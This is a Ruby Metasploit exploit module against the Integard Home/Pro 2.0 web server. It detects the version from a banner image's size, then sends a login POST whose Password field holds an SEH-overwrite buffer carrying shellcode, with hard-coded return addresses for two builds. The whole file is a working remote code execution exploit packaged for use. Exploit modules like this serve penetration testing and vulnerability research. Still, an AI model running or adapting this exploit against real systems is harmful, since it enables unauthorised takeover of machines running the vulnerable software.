class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Integard Home/Pro version 2.0',
'Description' => %q{
Exploit for Integard HTTP Server, vulnerability discovered by Lincoln
},
'Author' =>
[
'Lincoln',
'Nullthreat',
'rick2600',
'corelanc0d3r'
],
'License' => MSF_LICENSE,
'Version' => '$Revision: $',
'References' =>
[
['URL','http://www.corelan.be:8800/advisories.php?id=CORELAN-10-061'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 2000,
'BadChars' => "\x00\x20\x26\x2f\x3d\x3f\x5c",
'StackAdjustment' => -1500,
},
'Platform' => 'win',
'Privileged' => false,
'Targets' =>
[
[ 'Automatic Targeting', { 'auto' => true }],
[ 'Integard Home 2.0.0.9021', { 'Ret' => 0x0041565E,}],
[ 'Integard Pro 2.2.0.9026', { 'Ret' => 0x0040362C,}],
],
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(18881)
], self.class )
end
def exploit
mytarget = target
continueattack=true
if(target['auto'])
mytarget = nil
print_status("[*] Automatically detecting the target...")
connect
response = send_request_raw(
{'uri' => '/banner.jpg',
'version' => '1.1',
'method' => 'GET'
}, 5)
contlength = response['Content-Length']
if (contlength == "24584")
print_status("[!] Found Version - Integard Home")
mytarget = self.targets[1]
elsif (contlength == "23196")
print_status("[!] Found Version - Integard Pro")
mytarget = self.targets[2]
else
print_status("[-] Unknown Version")
continueattack=false
end
disconnect
end
if continueattack
print_status("[!] Selected Target: #{mytarget.name}")
print_status("[*] Building Buffer")
pay = payload.encoded
junk = rand_text_alpha_upper(3091 - pay.length)
jmp = "\xE9\x2B\xF8\xFF\xFF"
nseh = "\xEB\xF9\x90\x90"
seh = [mytarget.ret].pack('V')
buffer = junk + pay + jmp + nseh + seh
print_status("[*] Sending Request")
post_data = "Password=" + buffer + "&Redirect=%23%23%23REDIRECT%23%23%23&NoJs=0&LoginButtonName=Login"
req = "/LoginAdmin"
connect
send_request_raw({
'uri' => req,
'version' => '1.1',
'method' => 'POST',
'headers' =>
{
'Host' => '192.168.1.1:18881',
'Content-Length' => 1074
},
'data' => post_data
}, 5)
print_status("[*] Request Sent")
handler
end
end
end